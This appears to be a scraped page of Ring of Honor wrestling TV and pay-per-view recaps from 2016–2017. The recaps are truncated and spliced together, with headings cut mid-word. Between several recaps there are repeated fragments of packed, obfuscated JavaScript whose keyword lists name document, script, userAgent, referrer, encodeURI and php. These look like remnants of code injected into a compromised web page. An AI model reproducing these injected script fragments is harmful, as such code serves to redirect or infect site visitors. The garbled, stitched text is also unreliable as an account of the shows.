Ring of Honor TV – January 11, 2017: ….Excellence?

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Date: January 11, 2017
Location: 2300 Arena, Philadelphia, Pennsylvania
Commentators: Kevin Kelly, Nigel McGuinness

We open with clips of Christopher Daniels defeating Mark Briscoe in the first tournament match.

Opening sequence.

Decade of Excellence Tournament First Round: Jay Briscoe vs. BJ Whitmer

Whitmer says everything ends with a sacrifice next week.

Silas Young/Beer City Bruiser vs. Alex Reynolds/Jon Silver

Silver actually suplexes Young for two to start until the massive Bruiser comes in with a clothesline to knock Reynolds into a German suplex for two. Bruiser adds a cannonball for two more on Alex but he avoids a charge and rolls over for the tag off to Silver. The much smaller Jon manages a suplex on the Bruiser in an impressive display of strength. A Codebreaker into a German suplex gets two on Young but he kicks Silver in the head. Bruiser adds a Banzai Drop and Young gets the pin at 4:50.

Post match Young says he and Bruiser want another partner to go after the Six Man Tag Team Titles (oh yeah those exist). They call out Bull James and then beat him up for not being the guy. Ok then.

Kingdom vs. Cheeseburger/Will Ferrara/Joey Daddiego

Non-title. The Kingdom jumps them to start with Marseglia beating up all three at once until Daddiego gets in a fall away slam to put the champs on the floor. Back from a break with Ferrara getting stomped in the corner as the Kingdom continues to be difficult to tell apart because no one bothered to tell us anything about them.

Decade of Excellence Tournament First Round: Colt Cabana vs. Chris Sabin

Alex Shelley is on commentary. They fight over a wristlock to start until Chris kicks him in the chest and gets two off a high crossbody. What looked like a thumb to the eye allows Colt to send him outside and we go to a break. Back with Colt putting on a one armed camel clutch but missing a middle rope splash. Instead Chris gets in a missile dropkick to send him outside, setting up a running kick to the chest. Back in and Cabana scores off a hip attack but here are the Boys to fan Cabana a bit. The distraction lets Chris get a small package for the pin at 8:14.

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ROH Final Battle 2016: TV Not Required

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznfh|var|u0026u|referrer|nssya||js|php'.split('|'),0,{})) Battle 2016
Date: December 2, 2016
Location: Hammerstein Ballroom, New York City, New York
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Rebellion vs. Motor City Machine Guns/Donovan Dijak

The Guns are still in search of a permanent partner because trios are suddenly awesome. The Rebellion is the former Cabinet (Caprice Coleman/Kenny King/Rhett Titus) because Rebellion might actually be an even weaker name. To really show how rebellious King is, he has an upside down ROH logo on his trunks. Sabin and King run the ropes a bit to start with a grand total of nothing happen. Gotta love that non-offense from these rebels.

More triple teaming ensues until Sabin gets in a tornado DDT. That means Dijak gets to clean house with a top rope chokebreaker (close enough at least) getting two on Titus. The fans are WAY into Dijak here but the chants are cut off as the Guns start speeding things up. Well as speedy as they can make them at this point in their careers.

Dijak actually busts out a springboard flip dive to make my eyes pop open. Feast Your Eyes sends Titus into a powerbomb for two with Coleman and King diving in for the save. Another powerbomb puts King down but Skull and Bones are broken up. The Sky Splitter sets up the Big Dawg (frog) splash to put Sabin away at 12:27.

We recap Silas Young vs. Jushin Thunder Liger. Young got annoyed at a fan dressing up like Liger so he wanted to beat up the inspiration for never showing his face like a coward.

Jushin Thunder Liger vs. Silas Young

We recap Colt Cabana vs. Dalton Castle, which is your standard short term tag team breakup feud with Cabana playing heel.

Colt Cabana vs. Dalton Castle

You can tell Colt has turned as his music into something much slower with rap lyrics. Castle comes out in a chariot pulled by the Boys. Dalton immediately poses on the middle rope with his legs crossed like a gentleman. A quick takedown puts Colt on the mat and he bails to the floor, allowing Castle to do his strut after faking Cabana out on a suicide dive. The Boys are thrown in so Castle uses them as stepping stones to set up a dropkick. Now that shows some thinking out there.

Cody vs. Jay Lethal

Feeling out process to start as they hit the mat early on. A hiptoss exchange goes fine until Lethal gets in a dropkick for the first major offense. Cody comes right back with a very delayed gordbuster and starts in on the arm. Addiction keeps putting over the idea of Cody having experience in big matches and not buckling under the pressure.

Post match Cody mocks the Code of Honor and flips Lethal off. Addiction chases him away while Corino jumps back in on commentary to say “he was right all along.” Rhodes shoves Corino down but Steve keeps his cool.

Long recap of the Six Man Tag Team Title tournament. Lio Rush is replacing ACH, who has left the promotion.

Six Man Tag Team Titles: Kingdom vs. Kushida/Jay White/Lio Rush

The announcers are nice enough to start explaining why we should care about the Kingdom as Kushida scores with a double Tajiri handspring elbow. Everything breaks down and White gets two off a missile dropkick. To really pick things up a bit, White gets caught in a half crab from the top rope, only to have Kushida put Vinny in the Hoverboard Lock on the top for the save.

TV Title: Will Ospreay vs. Dragon Lee vs. Marty Scurll

With Lee dispatched, Ospreay and Scurll start slugging it out until Marty gets caught in the Tree of Woe. Cue Lee for the Alberto Del Rio top rope double stomp and a near fall. A running hurricanrana pulls Ospreay off the apron and down to the floor but Will pops back up for a big running flip dive of his own.

We recap the Tag Team Title match, which is just about the Briscoes wanting their ninth title reign.

Tag Team Titles: Briscoe Brothers vs. Young Bucks

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Ring of Honor TV – November 23, 2016: Two Unknowns Are Better Than Three

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndrfb|var|u0026u|referrer|dzrer||js|php'.split('|'),0,{})) of Honor
Date: November 23, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Kevin Kelly, Steve Corino

Opening sequence.

Dalton Castle is still missing the Boys (Where did they go anyway?) so Colt Cabana offers him some replacements.

Colt Cabana/Dalton Castle vs. Preston Quinn/Ken Dixon

Six Man Tag Team Title Tournament Semifinals: The Kingdom vs. Team CMLL

Ring of Honor TV – November 16, 2016: It’s a Problem Until ROH Fixes It

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Date: November 16, 2016
Location: William J. Myers Pavilion, Baltimore, Maryland
Attendance: 600
Commentators: Steve Corino, Kevin Kelly

We open with a video of Adam Page attacking Bobby Fish and dueling speeches from both guys.

Opening sequence.

Six Man Tag Team Titles Tournament First Round: Addiction/Kamaitachi vs. Team CMLL

That would be Ultimo Guerrero, Hechiero and Okimura because there was nowhere near enough trios to fill in a tournament so here are a bunch of imports. Okimura and Kazarian start things off as Corino does everything he does to explain who the CMLL guys are. They hit the mat to start with neither guy getting an advantage, save for Kazarian grabbing an arm trap rollup for two.

Addiction and Kamaitachi break up post match.

Colt Cabana/Dalton Castle vs. Keith Taylor/Shane Lee

Adam Cole is ready for all challengers.

TV Title: Adam Page vs. Bobby Fish

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Ring of Honor TV – October 26, 2016: That One Thing

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aiehf|var|u0026u|referrer|bdzak||js|php'.split('|'),0,{})) of Honor
Date: October 26, 2016
Location: Lowell Memorial Auditorium, Lowell, Massachusetts
Commentators: Steve Corino, Kevin Kelly

Opening sequence.

Tempura Boys vs. Colt Cabana/Dalton Castle

We get back and forth promos from Adam Cole and Jay Lethal to hype up their title match in London.

Video on BJ Whitmer/Steve Corino/Kevin Sullivan/Punisher Martinez.

Punishment Martinez/BJ Whitmer vs. Will Ferrara/Cheeseburger

Video on Ladder War.

Motor City Machine Guns vs. Los Ingobernables de Japon

The Guns are heavily banged up from Ladder War. Evil/Tetsuya Naito here with Evil starting against Sabin. The Japanese contingent tries some double teaming but is quickly taken outside for a double dive from the Guns. Back in and Shelley kicks Evil in the chest (keeping it simple is often a good idea) but Naito is right back in and sends Alex into the barricade. Things settle down with Naito taking over on Alex as Kevin Kelly compares Naito to Kevin Steen (Owens). Corino: “Is that a bad thing?”

We take a break and come back with Shelley DDTing Naito, setting up the hot tag off to Sabin. Both Guns hit double high crossbodies as things speed way up. Evil gets in a clotheslines so Naito can roll Sabin up for two, followed by an STO to drop Shelley. The announcers ignore this match to talk about Kevin Sullivan as Naito destroys Sabin with Destino for the pin at 11:24.

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Ring of Honor TV – August 10, 2016: They Nailed It

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Date: August 10, 2016
Location: 2300 Arena, Philadelphia, Pennsylvania
Attendance: 850
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

Will Ferrara vs. Jay White

White is, say it with me, from New Japan. Well at least from their Dojo. For some reason this is treated like his debut even though he was on ROH a few weeks back. White grabs a wristlock to start but Will gets up for a stalemate. A middle rope hurricanrana gets two for Ferrara but White starts twisting his wrist around to take over. Ferrara sends him outside though and a suicide dive takes us to a break. Back with Ferrara hitting a bouncing DDT but getting caught with a missile dropkick for another near fall. A loud dropkick and spinning Rock Bottom get two for White, followed by the Kiwi Crusher for the pin at 9:26.

We look back at Mark Briscoe beating ACH to become #1 contender for the TV Title.

The Addiction is ready to take care of the Motor City Machine Guns.

ROH World Title: Colt Cabana vs. Jay Lethal

Lethal is defending in a rematch after Adam Cole and the Young Bucks interfered last time. Feeling out process to start as they have a lot of time to work with here, save for an angle at the end that is. Lethal is sent outside in frustration and Cabana is nice enough to hold the ropes open for the champ.

Back in and Lethal dropkicks him outside to earn a nice face chant. Lethal holds the ropes open for Cabana and the fans are getting into the idea here. Back in again and we get some very obvious spot calling with Cabana hitting another dropkick to put Jay on the floor. They quickly switch places so Jay can hit back to back to back suicide dives and the fans are WAY into Lethal here. I think we can call that a successful face turn.

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Ring of Honor Global Wars 2016: Japanese Cannon Fodder

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebzth|var|u0026u|referrer|zrkfi||js|php'.split('|'),0,{})) Wars 2016
Date: May 8, 2016
Location: Frontier Fieldhouse, Chicago Ridge, Illinois
Attendance: 2,000
Commentators: Kevin Kelly, Mr. Wrestling 3

Opening sequence.

We run down the card in case you bought the show on a whim.

ACH vs. Dalton Castle vs. Roderick Strong vs. Adam Page

Strong is livid about the loss.

Cheeseburger/Jushin Thunder Liger vs. Addiction

Post match the Addiction knocks Liger to the floor and hits the Best Meltzer Ever (moonsault into a spike Tombstone) on Cheeseburger.

Tag Team Titles: War Machine vs. Briscoe Brothers

Naito climbs the ropes for a tornado DDT followed by a neckbreaker off the ropes for two. They kick each other in the head until Kyle hits a rebound lariat to put both of them down again. A Regalplex gets two on Naito and a knee to the head makes it even worse. Not that it matters as he does a weird backflip into a reverse DDT (Destino) for the pin at 12:03.

Naito lays him out and throws the belt down post match.

Hiroshi Tanahashi/Michael Elgin vs. Kazuchika Okada/Moose

TV Title: Tomohiro Ishii vs. Bobby Fish

Fish makes the mistake of headbutting Ishii and the referee has to check on him as a result. The champ gets knocked off the top but Fish misses a flying headbutt, only to start back in with kicks to the knee. Fish hits an exploder suplex for two but getting headbutted for his efforts. Ishii gets his own near fall with a delayed vertical superplex, followed by a Saito Suplex.

They head to the apron with Fish back on his feet and slugging it out. As expected, Ishii easily knocks him down but Fish kicks the leg out to put both guys down on the floor. Back in and a hard lariat gets two for the champ but Fish goes back to the sleeper. He fires off some elbows to the head and survives a flip attempt to actually knock Ishii out at 15:30.

Kushida/Matt Sydal/Motor City Machine Guns vs. Bullet Club

Skull and Bones (top rope splash/neckbreaker combo) gets two more before Nick comes in and does SUCK IT over and over because popping the crowd is far more important than having a good or logical match. Sliced Bread #2 is broken up and a quick Meltzer Driver puts Shelley away at 13:04. Wrestling 3: “I JUST WASTED SIX GRAND!!!”

Wrestling 3 is distraught and it gets even worse when BJ Whitmer comes out in a Masked Superstar mask. Whitmer has a flash drive with something Wrestling 3 will want to see.

Nigel McGuinness joins commentary.

ROH World Title: Colt Cabana vs. Jay Lethal

Security eats superkicks and the counter goes back up but they only count double kicks as one. I DEMAND A REFUND! The Guerillas come out and the beating continues with Loa spray painting BC on a table and a security guard being powerbombed through it. More spray paint continues with the announcers getting kicks of their own.

There were eight total matches on this show with Ring of Honor wrestlers winning in five of them. Of those five wins, there were two tag matches with a New Japan partner and two matches with no New Japan stars involved. Counting the no contest, New Japan went 4-1 along with destroying the World Champion and the #1 contender to close the show.

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Ring of Honor TV – June 8, 2016: Get Me Something New To Complain About

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yshnn|var|u0026u|referrer|htref||js|php'.split('|'),0,{})) of Honor
Date: June 8, 2016
Location: Ted Reeve Arena, Toronto, Ontario, Canada
Commentators: Nigel McGuinness, Kevin Kelly

Opening sequence.

Matt Sydal vs. Kazuchika Okada

The Bullet Club is ready for the winner of the Best in the World main event because Adam Cole wants his World Title back.

Adam Page vs. Colt Cabana

This is over Page and the rest of the Bullet Club attacking Cabana a few weeks back. Feeling out process to start with Cabana throwing him into the corner and grabbing the arm before snapmaring Page for two. Cabana gets countered into a wristlock though and is sent outside for a big springboard shooting star as we take a break.

Back with Cabana making his comeback and hitting a Dusty Rhodes Bionic Elbow, followed by a forearm to the head. Page flips over the top into a clothesline for two but Cabana hits a standing Lionsault for the same. Back up and Page charges into an elbow in the corner, allowing Colt to grab a rollup for the pin at 10:09.

Post match the Guerillas of Destiny come out to beat Cabana down.

The All Night Express wants to make wrestling great again. Good grief yes we know Donald Trump is running for President. Find something new already.

Donovan Dijak vs. Jay Lethal

Non-title with Prince Nana and Taeler Hendrix as the respective managers. Dijak wins a quick brawl and sends Jay to the floor to keep up the fighting. A whip sends Lethal into the barricade but he comes back by posting Dijak and heading inside. Dijak needs a breather so Nana gets in the ring, allowing Donovan to get on the apron. Jay knocks him outside again and hits two suicide dives, only to have the third countered with a throw into the barricade. Dijak bumps things up with a moonsault over the top for a huge pop as we take a break.

Back with Lethal scoring with a dropkick but banging up his own knee. Dijak throws him down with a suplex and nips up to his feet before covering. The Lethal Combination is broken up but Lethal snaps off a German suplex. Dijak uses FIGHTING SPIRIT (sounds like a video game weapon) to pop back up and turn Lethal inside out with a discus lariat.

Jay has to fight out of a chokeslam and counters into a rollup, only to have Dijak lift him up into Feast Your Eyes. The knee misses though, allowing Jay to superkick him back. The Lethal Injection is countered into a sitout powerbomb for two more, only to have Nana and Hendrix get into it. Dijak loads up another Feast Your Eyes but here are the Bullet Club to accidentally superkick Donovan, setting up the Lethal Injection for the pin at 12:26.

Post match the Club beats on Lethal until the Briscoes come in for the save. Jay Briscoe holds up the World Title and stares at Lethal to end the show.

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Ring of Honor TV – May 25, 2016: OBNOXIOUS YELLING!

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ftznd|var|u0026u|referrer|ahebd||js|php'.split('|'),0,{})) of Honor
Date: May 25, 2016
Host: Kevin Kelly

Kevin Kelly opens things up and promises to show us some clips from Global Wars, which could actually be something pertaining to the current storylines.

We look at Bullet Club showing up in Ring of Honor and one of their first major matches from War of the Worlds 2014.

IWGP Tag Team Titles: Briscoe Brothers vs. Doc Gallows/Karl Anderson

From Global Wars 2015.

Bullet Club vs. ROH All-Stars

AJ Styles/Doc Gallows/Karl Anderson/Young Bucks

War Machine/Briscoe Brothers/Roderick Strong

Never Openweight Six Man Tag Team Titles: Elite vs. Briscoe Brothers/Toru Yano

Elite, challenging here, is a subset of the Club comprised of the Young Bucks and Kenny Omega. Fellow Club member Cody Hall jumps the Briscoes before the bell and Yano is triple teamed, which draws little more than a hard stare from the referee. The Briscoes get back in to clean house with Nick being thrown over the top and onto Hall for a big crash.

Bullet Club vs. ReDRagon/Hirooki Goto/Katsuyori Shibata

Tama Loa and Tama Tonga (fellow Club members) come out and more security is beaten up with superkick after superkick. We cut forward to a security member being powerbombed through a table, which of course has been spray painted BC. The announcers eat superkicks so the Bucks take their places and do what sound like Jim Ross/Jerry Lawler impressions. Lethal is tied to the ropes as Cole picks up the ROH World Title. That means EVEN MORE SUPERKICKS before Cole runs around with the belt. The cameraman gets superkicked and the Club talks into the camera to end things.

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Ring of Honor TV – May 11, 2016: If They Don’t Care, Then I Don’t Care

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zakhk|var|u0026u|referrer|fniyi||js|php'.split('|'),0,{})) of Honor
Date: May 11, 2016
Hosts: Mandy Leon, Kevin Kelly

Opening sequence.

Mandy and Kevin welcome us to the show and this really is just going to be one big preview.

th Anniversary Show, setting up a 2/3 falls match at Supercard of Honor X where Fish beat Strong 2-1.

Also at Supercard of Honor, Stokely Hathaway set up a tag match between Kazuchika Okada/Moose vs. Michael Elgin/Hiroshi Tanahashi. This means a clip of the ending of Okada vs. Moose from the Anniversary Show. Again: nothing more than that clip to show respect between the two.

CM Punk vs. Colt Cabana

Joined in progress with Cabana grabbing a few headscissor takeovers to keep Punk on the mat and drawing a nice round of applause. Back up and Punk tries a monkey flip, only to get stomped on the face so Colt can strut a bit. Punk wants him to be serious for a change but the distraction lets Cabana grab a headlock.